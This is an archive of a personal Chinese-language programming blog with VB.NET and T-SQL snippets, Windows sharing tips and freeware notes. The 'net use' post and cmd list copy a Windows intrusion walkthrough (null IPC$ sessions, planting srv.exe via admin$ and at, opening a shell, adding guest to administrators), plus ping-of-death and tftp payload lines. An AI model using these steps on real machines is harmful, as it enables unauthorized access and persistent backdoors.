2011年12月28日 星期三

WIN7 共用資料夾

--
win7 共用資料夾,怎我設都還是要詢問密碼的登入畫面勒;找到這篇,有空來實作一下
程式運用需要用到,確定可以再補圖上來

底下是引用的操作方法:
--
控制台/ 網路和網路時間 / 網路和共用中心

點 網路共用設定 遵守以下開放設定

開放網路探索

開啟檔案及印表機共用

開啟共用,只獨取具有網路存取的人員讀取和寫入公用資料夾中的檔案

關閉以檔案保護共用

使用使用者帳戶和密碼連線到其他電腦    <<我這個剛好沒設定到!

在資料夾 按 鼠標 右鍵

共用對象 / 特定人員

選擇 Guest 點 新增(A) 後 按下 共用(H) 離開 其他作業系統 網路芳鄰 就可進入
這是要在名稱那設個Guest這個名稱,再按照過程設定!
後面~~~傑克~~這真的太神奇了!哇哈哈哈哈哈哈~
...........................................................................
另種方式~但因上面的方法成功了,所以後面就沒去試了,先留個以後說不定有要用到!


在win7電腦上按下"視窗鍵+r" 叫出執行 , 輸入 gpedit.msc 確定

此時就會看到"本機群組原則編輯器"視窗

在視窗中:電腦設定→Windows設定→本機原則→安全性選項→

1. [控制台\所有控制台項目\系統管理工具\本機安全性原則],進入 [本機安全性原則],展開 [本機原則\安全性選項]
帳戶:Administrator帳戶狀態→
原本是已停用→請改為已啟用

再找→帳戶:限制使用空白密碼的本機帳戶僅能登入到主控台→原本是以啟用→請改為已停用

設定Win7資料夾共用

此時Xp就可以登入到Win7所分享的共用資料夾

2011年12月27日 星期二

服裝租借系統,前台服裝圖片瀏覽工具


您店使用的系統是否讓您感覺不好操作呢?
歡迎是服裝租借的店家,有興趣更換系統;來電.來信詢問
本系統大中小功能含報表等,超過300個以上功能!

--

2011年12月26日 星期一

DataGridViewButtonColumn.Text 屬性


Private Sub AddButtonColumn()
Dim buttons As New DataGridViewButtonColumn()
With buttons
 .HeaderText = "Sales"
 .Text = "Sales"
 .UseColumnTextForButtonValue = True
 .AutoSizeMode = DataGridViewAutoSizeColumnMode.DisplayedCells
 .FlatStyle = FlatStyle.Standard
 .CellTemplate.Style.BackColor = Color.Honeydew
 .DisplayIndex = 0
End With
DataGridView1.Columns.Add(buttons)
End Sub

2011年12月25日 星期日

dbeaver 資料庫管理工具

官網
--
這是免費的唷

支援連結使用的資料庫:
Supported (tested) databases:
MySQL
Oracle
PostgreSQL
IBM DB2
Microsoft SQL Server
Sybase
ODBC
Java DB (Derby)
Firebird (Interbase)
HSQLDB
SQLite
Mimer
H2
IBM Informix
SAP MAX DB
Cache
Ingres
Linter
Teradata
Any JDBC compliant data source

2011年12月22日 星期四

word 空白變點的問題









--
 問題:
    Word裡面的空格全部變成了點,而且再次輸入時也會出現點,而Tab也成為了一個向右的箭頭。
原因:
    出現這種情況的原因是我不小心按了shift+ctrl+8,只要再次這按下這個組合鍵就可以恢復了。
解決方法:
    shift+ctrl+8

備選解決方法

用Word 2007時,遇到Word2007中空格變成點,按空格也是點。
這對於已經習慣Word2003還剛開始用Word2007的用戶來說是個麻煩,原來word2003只要在工具-"選項"-"視圖"選項卡裡,把"格式標記"中的空格去掉就可以解決問題。
首先選擇最上方的下三角形,選擇其中的"其他命令",打開一對話框,在選擇"顯示",把"顯示所有格式標記"前面的勾去掉即可。

2011年12月21日 星期三

關鍵應用

偶爾逛到此站  關鍵應用
--
真是不錯,有介紹和很多免費性的工具軟體;都很棒喔

Photo Flash Maker - 三個步驟完成FLASH相簿

官網
--
 hoto Flash Maker 是一款簡單易用的Flash 製作工具。通過簡單的三個步驟,能輕鬆的將圖片轉換成炫目的Flash短片。然後將其上傳至網站,發佈至Blog。輕鬆實現與好友分享圖片。 通過内置多達60多種轉場效果,每張圖片也可以自己添加文字,文字效果也非常的多樣化的圖片切換轉場效果,並且可以加入背景音樂,輕鬆製作網頁的圖片Flash ,為網頁增加專業的動態效果。

這可是Free的唷,且是專業的喔

JOCR 可從圖片中辨識出文字的免費工具,支援中文

官網
--
可以研究看看,這是簡易型的

免費 CSS 下載

官網freecsstemplates
--
寫網頁最傷腦筋的就是CSS 和樣板了
看起來很不錯,等寫網頁時;再來下載試試

2011年12月18日 星期日

FormatFactory 格式工廠

官網 Format Factory
--
真是猛唷,幾乎常用都通包了 !
--
Format Factory is a multifunctional media converter.
Provides functions below:
All to MP4/3GP/MPG/AVI/WMV/FLV/SWF. (影音)
All to MP3/WMA/AMR/OGG/AAC/WAV.  (音樂)
All to JPG/BMP/PNG/TIF/ICO/GIF/TGA. (圖檔)
Rip DVD to video file , Rip Music CD to audio file.  
MP4 files support iPod/iPhone/PSP/BlackBerry format.
Supports RMVB,Watermark, AV Mux.

Format Factory's Feature:
1 support converting all popular video,audio,picture formats to others.
2 Repair damaged video and audio file.
3 Reducing Multimedia file size.
4 Support iphone,ipod multimedia file formats.
5 Picture converting supports Zoom,Rotate/Flip,tags.
6 DVD Ripper.
7 Supports 60 languages (支援60種語言)

OS requirements: All Windows OS

LiberOffice

LibreOffice
--
OpenOffice 的前身

2011年12月15日 星期四

dataset add row

參考微軟MSDN:Inserting New Records into a Dataset 
--
例:
Dim anyRow As DataRow = repdst.Tables(0).NewRow
anyRow("books") = bk_name
repdst.Tables(0).Rows.Add(anyRow)

2011年12月13日 星期二

System.Drawing.Color


TextBox1.BackColor=System.Drawing.ColorTranslator.FormWin32(RGB(164,196,255))
or
TextBox1.BackColor=System.Drawing.ColorTranslator.FormHtml("#ff00ff")
or
TextBox1.BackColor = System.Drawing.ColorTranslator.FromHtml(Select1.Value)
or
TextBox1.BackColor = SystemColors.Control
TextBox1.BackColor = Color.Red
TextBox1.BackColor = Color.FromKnownColor(KnownColor.Control)  

2011年12月11日 星期日

Freez Screen Video Capture


Freez Screen Video Capture這套程式可以提共你很多基本的螢幕錄影功能,
有人幫忙做好了中文化版,而且他還可以將檔案輸出成AVI格式,不過它本身並沒有內建編輯器的功能其實蠻可惜的。

Freez Screen Video Capture version 1.2 

--
2012/3/2 修正:
感謝好心人提醒,這並非完全 free 的;用一陣子就不能用了!
因我自己測用,確實如此;卻忘了修正文章!

2011年12月9日 星期五

圖片浮水印製作工具 PicMark


圖片浮水印製作工具 PicMark
版本:1.01
日期:2011/12/14
系統:windows xp . win7 32/64
環境:Framework 3.5 sp1 (含)以上
性質:Free/免費/自由贊助












簡介:
能輕易將圖片加入浮水印(內容自由編輯)且能批次產出
能自訂項目:
1.浮水印位置(共9個地方)
2.指定字型,大小等
3.指定顏色
4.輸出檔案名稱,可分:(1)依原檔名 (2)依編號
下載

■2011/12/14
修正:
1.輸出目錄,當選到 C:\ , D:\ 時;多了 \ 的錯誤(C:\\)
2.浮水印位置的按鈕,點擊的按鈕反應背景色

讀寫 INI


Public Class Form1
' 这个有点不明白,为什么要这么做,
' 个人感觉都不如 xml 好用。
' 以后再研究
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" ( _
ByVal lpApplicationName As String, _
ByVal lpKeyName As String, ByVal lpdefault As String, _
ByVal lpretrunedstring As String, ByVal nSize As Int32, _
ByVal lpFilename As String) As Int32

Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" ( _
ByVal lpApplicationName As String, _
ByVal lpKeyName As String, ByVal lpString As String, _
ByVal lpFilename As String) As Int32


Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
WritePrivateProfileString("AppName", "KeyB", "MyValue", "C:\a.ini")
WritePrivateProfileString("Port", "value", "11024", "c:\a.ini")

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim strIni As String
strIni = New String(" ", 100)
GetPrivateProfileString("AppName", "KeyB", "", strIni, 100, "c:\a.ini")
MsgBox(strIni)
End Sub
' vb.net 中读写 ini 文件和 vb6 中的做法是一致的,也要使用 Windows Api 的方法
' 唯一要注意的是:在 vb.net 中,api 声明中的 Long 型要改为 int32 类型。
End Class

關於Visual Basic 資源分享

在MSDN討論區看到有人將好的資源範例等都串一起耶
不錯,記起來
關於Visual Basic 資源分享
 

2011年12月6日 星期二

T-SQL - 字串不足數補零


Select RIGHT(REPLICATE('0', 8) + CAST('12345' as NVARCHAR), 8) as '左邊補零'
, LEFT(CAST('12345' as NVARCHAR) + REPLICATE('0', 8), 8) as '右邊補零'

Microsoft 技術支援

Microsoft 技術支援

net use 使用

引用
--
1)建立空连接:
net use //IP/ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)

2)建立非空连接:
net use //IP/ipc$ "密码" /user:"用户名" (同样有3个空格)

3)映射默认共享:
net use z: //IP/c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: //IP/c$

4)删除一个ipc$连接
net use //IP/ipc$ /del

5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认

3 查看远程主机的共享资源(但看不到默认共享)
net view //IP

4 查看本地主机的共享资源(可以看到本地的默认共享)
net share

5 得到远程主机的用户名列表
nbtstat -A IP

6 得到本地主机的用户列表
net user

7 查看远程主机的当前时间
net time //IP

8 显示本地主机当前服务
net start

9 启动/关闭本地服务
net start 服务名 /y
net stop 服务名 /y

10 映射远程共享:
net use z: //IP/baby
此命令将共享名为baby的共享资源映射到z盘

11 删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del /y删除全部

12 向远程主机复制文件
copy /路径/srv.exe //IP/共享目录名,如:
copy ccbirds.exe //*.*.*.*/c 即将当前目录下的文件复制到对方c盘内

13 远程添加计划任务
at //ip 时间 程序名,如:
at //127.0.0.0 11:00 love.exe
注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径
14 开启远程主机的telnet
这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求:

1)目标开启了ipc$共享
2)你要拥有管理员密码和帐号
3)目标开启RemoteRegistry服务,用户就该ntlm认证
4)对WIN2K/XP有效,NT未经测试
命令格式:OpenTelnet.exe //server account psw NTLM认证方式 port
试例如下:c:/>OpenTelnet.exe //*.*.*.* administrator "" 1 90

15 激活用户/加入管理员组
1 net uesr account /active:yes
2 net localgroup administrators account /add

16 关闭远程主机的telnet
同样需要一个小程序:ResumeTelnet.exe
命令格式:ResumeTelnet.exe //server account psw
试例如下:c:/>ResumeTelnet.exe //*.*.*.* administrator ""

17 删除一个已建立的ipc$连接
net use //IP/ipc$ /del

九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

1. C:/>net use //127.0.0.1/IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
复制之前务必用net view //IP这个命令看一下对方的共享情况
2. C:/>copy srv.exe //127.0.0.1/admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:/winnt/system32/,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

3. C:/>net time //127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。

4. C:/>at //127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)

5. C:/>net time //127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。

6. C:/>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

7.C:/>copy ntlm.exe //127.0.0.1/admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

8. C:/WINNT/system32>ntlm
输入ntlm启动(这里的C:/WINNT/system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组
10. C:/>net user guest /active:yes
将对方的Guest用户激活

11. C:/>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码

12. C:/>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

另外,你也可以根据返回的错误号分析原因:

错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows无法找到网络路径:网络有问题;
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;
错误号1326,未知的用户名或错误密码:原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码

    在使用这种方法屏蔽网络映射功能时,只需要先打开系统的运行对话框,并在其中执行“cmd”字符串命令,将系统界面切换到MS-DOS命令行状态;接着在DOS提示符下执行“net use x:/del”字符串命令,就能将网络磁盘分区为“X”的网络映射连接断开了,要想快速地将本地计算机中所有的网络映射连接断开的话,只需要执行“net use * /del”字符串命令就可以了。

cmd 命令大全


net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員權限,注意:administrator後加s用複數
net start 查看開啟了哪些服務
net start 服務名  開啟服務;(如:net start telnet, net start schedule)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地局域網內開啟了哪些共享
net view \\ip 查看對方局域網內開啟了哪些共享
net config 顯示系統網絡設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 局域網內正在使用的網絡連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些端口,常用netstat -an
netstat -n 查看端口的網絡連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個端口開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32字節的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有只讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
二:
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "
和"> >" 是重定向命令
at id號 開啟已註冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 端口 遠和登陸服務器,默認端口為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑\文件名1 路徑\文件名2 /y 複製文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
copy c:\srv.exe \\ip\admin$ 複製本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 複製對方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要複製的文件或目錄樹 目標地址\目錄名 複製文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 端口 用於上傳文件至服務器或進行文件操作,默認端口為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網絡地址Network addres,子網掩碼Netmask,網關地址Gateway addres,接口地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變量名稱=要指派給變量的字符 設置環境變量
set 顯示當前所有的環境變量
set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環境變量
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變量)
goto 標籤 將cmd.exe導向到批處理程序中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:「:start」標籤)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變量)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )

VB.net 2010 聲音檔播放

請參考原處

VB.NET 使用7-zip壓縮指定目錄所有檔案

參考引用
--
7-zip 下載
--
Protected Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.Click
        '參數一:要壓縮的檔名
        '參數二:要壓縮的檔案
        SevenZip("c:\test.zip", "c:\test\*.*", "")
End Sub

Public Sub SevenZip(ByVal ZipFileName, ByVal ZipSourcePath, ByVal ZipPassWord)
        Dim ZipPs As New Diagnostics.Process
        Try
            Dim strExec As String = Server.MapPath("7z/7za.exe")
            Dim strAgr As String
           '需要設定密碼
            If ZipPassWord <> "" Then
                strAgr = "a " & ZipFileName & " " & ZipSourcePath & " -p" & ZipPassWord
            Else
                '不需要密碼
                strAgr = "a " & ZipFileName & " " & ZipSourcePath & ""
            End If

            ZipPs.StartInfo.FileName = strExec
            ZipPs.StartInfo.Arguments = strAgr
            ZipPs.StartInfo.WindowStyle = Diagnostics.ProcessWindowStyle.Normal
            ZipPs.Start()
            ZipPs.WaitForExit()
            ZipPs.Close()
            If Dir(ZipFileName) <> "" Then
                Response.Write("Zip Complete.") 'check zip file complete
            End If
        Catch ex As Exception
            Response.Write(ex.Message)
        End Try 
End Sub 

VB.net 連結 Access 語法


可分為兩種,一種是取得資料庫裡面的資料

        ' 資料庫的路徑
        Dim strDbCon As String = "Provider=Microsoft.Jet.OLEDB.4.0;" & "Data Source=coolking_music.mdb"

        Dim objCon As OleDbConnection = New OleDbConnection(strDbCon)
        objCon.Open()

        ' SQL語法
        Dim objCmd As OleDbCommand = New OleDbCommand("SELECT * FROM song", objCon)

        Dim objDataReader As OleDbDataReader = objCmd.ExecuteReader()

        Dim out As String

        ' 讀取singer欄位的值
        While objDataReader.Read()
                out += objDataReader.Item("singer")
        End While

        ' 關閉資料庫的連結
        objDataReader.Close()
        objCon.Close()

        Label1.Text = out
 
另一種是顯示在DataGridView上
 
        ' 資料庫的路徑
        Dim strDbCon As String = "Provider=Microsoft.Jet.Oledb.4.0;Data source=coolking_music.mdb"
      
        Dim objCon As OleDbConnection = New OleDbConnection(strDbCon)
        objCon.Open()

        ' SQL語法
        Dim adp1 As OleDbDataAdapter = New OleDbDataAdapter("select * from song", objCon)

        ' 將查詢結果放到記憶體set1上的"song"表格內
        Dim set1 As DataSet = New DataSet
        adp1.Fill(set1, "song")

        ' 將記憶體的資料集合存放到視窗畫面上的DataGridView上
        DataGridView1.DataSource = set1.Tables("song")

        ' 關閉資料庫的連結
        objCon.Close()

利用VB.net 寄信


' 兩個收件人:GetMail1@gmail.com和GetMail2@gmail.com
        Dim To_Address As String = "GetMail1@gmail.com;GetMail2@gmail.com"
        
        ' 設定SMTPserver
        Dim SMTP_Server As New Mail.SmtpClient("msa.hinet.net")
        Dim Mailmsg As New System.Net.Mail.MailMessage
        Dim MailBodyHtml As String
 
        ' 設定一個信件的附檔
        Dim mail_attachment As New System.Net.Mail.Attachment("Z:\Picutre\nic.jpg")
 
        Mailmsg.IsBodyHtml = True ' 為html內容格式
      
        ' 此信的寄件人
        Mailmsg.From = New Net.Mail.MailAddress("Send@msa.hinet.net", "寄件人")
        Mailmsg.Subject = "主旨"
        MailBodyHtml = "Mail Message First"
        MailBodyHtml &= "Mail Message Second"
        Mailmsg.Body = MailBodyHtml
 
        ' 把附檔加入到Mail
        Mailmsg.Attachments.Add(mail_attachment)
 
        ' 將字串裡的;分為多個收件人
        For Each MA As String In To_Address.Split(";")
            Mailmsg.To.Add(New Net.Mail.MailAddress(MA, "收件人"))
        Next
 
        ' 密件副本收件人
        Mailmsg.Bcc.Add(New Net.Mail.MailAddress("GetMail3@gmail.com", "密件副本"))
        Mailmsg.Priority = Net.Mail.MailPriority.High
 
        ' Smtp(Server) 的帳號與密碼
        SMTP_Server.Credentials = New System.Net.NetworkCredential("ID", "PW")

        SMTP_Server.Send(Mailmsg)

利用 VB.net 取得本機 IP


Imports System.Net.Dns
 
Public Function GetIPaddress() As String
    Try
        Dim ipEntry As System.Net.IPHostEntry = GetHostByName(Environment.MachineName)
        Dim IpAddr As System.Net.IPAddress() = ipEntry.AddressList
 
        GetIPaddress = IpAddr(0).ToString
    Catch ex As Exception
        GetIPaddress = "無法取得IP"
    End Try
End Function

2011年12月5日 星期一

暫存表(Temporary Tables)的使用簡介


暫存表(Temporary Tables)

CREATE TABLE #Yaks (
YakID int,
YakName char(30) )
table name 前加入"#", 表示這是一個暫存表(temporary table)
當session 關閉時, 這個table 將會自動drop
好的寫作習慣, 應在暫存表使用完畢後, 下指令去 drop, 而不是讓系統自動回收
暫存表是存在主機記憶體中, 因此存取速度較快
暫存 table 的限制:
暫存表存在於"tempdb"這個database 裡
如果有兩個使用者建立同一個名字的暫存表, 則他們會各自擁有獨立的一份, 互相不會干擾.
若stored procedure A 建立了一個暫存表, 並呼叫 stored procedure B, 則在 B 中可以存取這個暫存表
如果在SQL Server Management Studio or Query Analyzer 中建立的暫存表, 會等到我們手動drop 去關閉session 才會消失
 

表格變數(Table Variables)

當我們使用 SQL Server 2000 或以後的版本, 則可以考慮使用 "Table Variables" (表格變數); 使用方式如下例:

DECLARE @TibetanYaks TABLE (
YakID int,
YakName char(30) )

INSERT INTO @TibetanYaks (YakID, YakName)
SELECT YakID, YakName
FROM dbo.Yaks
WHERE YakType = 'Tibetan'

-- Do some stuff with the table





它和暫存表類似, 但它更加彈性, 且不會存在於tempdb 中(完全存在於記憶體).
使用完畢後, 不須手動去 drop它


兩者的使用時機



當暫存的資料筆數小於100筆時, 使用表格變數, 否則, 可使用暫存表, 因為針對表格變數, SQL Server 不會去解析/最佳化它的效能.
當我們須要對表格建立索引(Index)時, 則必須使用暫存表.
在使用暫存表時, 最好能在建立後一併建立索引, 這能增加效能 (SQL Server 2005後, 這方面已改善, 所以可以不建索引; 但建立它仍是一個好習慣)


全域暫存表(Global Temporary Tables)

在表格名字前面, 加入兩個"#", 比如"##YakHerders", 則表示這是個全域暫存表, 也就是說, 這個表格和一般表格一樣, 可以被所有連線(connections/sessions)使用; 在SQL Server 中, 這樣的應用並不多見.

adodb pdf 轉印解決條碼卡住問題

參考
--
引用:
在pdf印表機的「內容」「喜好設定」的標籤「ADOBE pdf設定」裡有一個「不發送字型」的功能要取消勾選就行囉!

卡住 如底下圖示:
--













crystal report 轉成PDF部份中文字變成 □□?

參考
截取重點:應該是中英文字型庫的問題,欲呈現中文的欄位,請務必將報表欄位的字型設成『中文字型』唷!!
--
果然輪到我遇上了...
更灰心是,轉印printer  adobe PDF  ; 真是掛點 跑3天3夜還沒轉出pdf檔出來,真是殘念...
但是轉印printer DoPDF 是OK的

datagridview 停在最後一行


dataGridView1.MultiSelect = false;
//index為你要選擇的欄位
dataGridView1.Rows[index].Cells[0].Selected = true;

NET 列印文字檔

微軟MSDN _system.drawing.printing.printdocument
--
本篇留著有用,引來放;詳細請參考微軟的較清楚喔
--

Imports System
Imports System.IO
Imports System.Drawing
Imports System.Drawing.Printing
Imports System.Windows.Forms

Public Class Form1
    Inherits System.Windows.Forms.Form
    Private WithEvents printButton As System.Windows.Forms.Button
    Private printFont As Font
    Private streamToPrint As StreamReader

    Public Sub New()
        ' The Windows Forms Designer requires the following call.
        InitializeComponent()
        InitializeForm()
    End Sub

    ' The Click event is raised when the user clicks the Print button.
    Private Sub printButton_Click(ByVal sender As Object, ByVal e As EventArgs) Handles printButton.Click
        Try
            streamToPrint = New StreamReader("C:\My Documents\MyFile.txt")
            Try
                printFont = New Font("Arial", 10)
                Dim pd As New PrintDocument()
                AddHandler pd.PrintPage, AddressOf Me.pd_PrintPage
                pd.Print()
            Finally
                streamToPrint.Close()
            End Try
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Sub

    ' The PrintPage event is raised for each page to be printed.
    Private Sub pd_PrintPage(ByVal sender As Object, ByVal ev As PrintPageEventArgs)
        Dim linesPerPage As Single = 0
        Dim yPos As Single = 0
        Dim count As Integer = 0
        Dim leftMargin As Single = ev.MarginBounds.Left
        Dim topMargin As Single = ev.MarginBounds.Top
        Dim line As String = Nothing

        ' Calculate the number of lines per page.
        linesPerPage = ev.MarginBounds.Height / printFont.GetHeight(ev.Graphics)

        ' Print each line of the file.
        While count < linesPerPage
            line = streamToPrint.ReadLine()
            If line Is Nothing Then
                Exit While
            End If
            yPos = topMargin + count * printFont.GetHeight(ev.Graphics)
            ev.Graphics.DrawString(line, printFont, Brushes.Black, leftMargin, yPos, New StringFormat())
            count += 1
        End While

        ' If more lines exist, print another page.
        If (line IsNot Nothing) Then
            ev.HasMorePages = True
        Else
            ev.HasMorePages = False
        End If
    End Sub

    Private Sub InitializeForm()
        Me.components = New System.ComponentModel.Container()
        Me.printButton = New System.Windows.Forms.Button()

        Me.ClientSize = New System.Drawing.Size(504, 381)
        Me.Text = "Print Example"

        printButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
        printButton.Location = New System.Drawing.Point(32, 110)
        printButton.FlatStyle = System.Windows.Forms.FlatStyle.Flat
        printButton.TabIndex = 0
        printButton.Text = "Print the file."
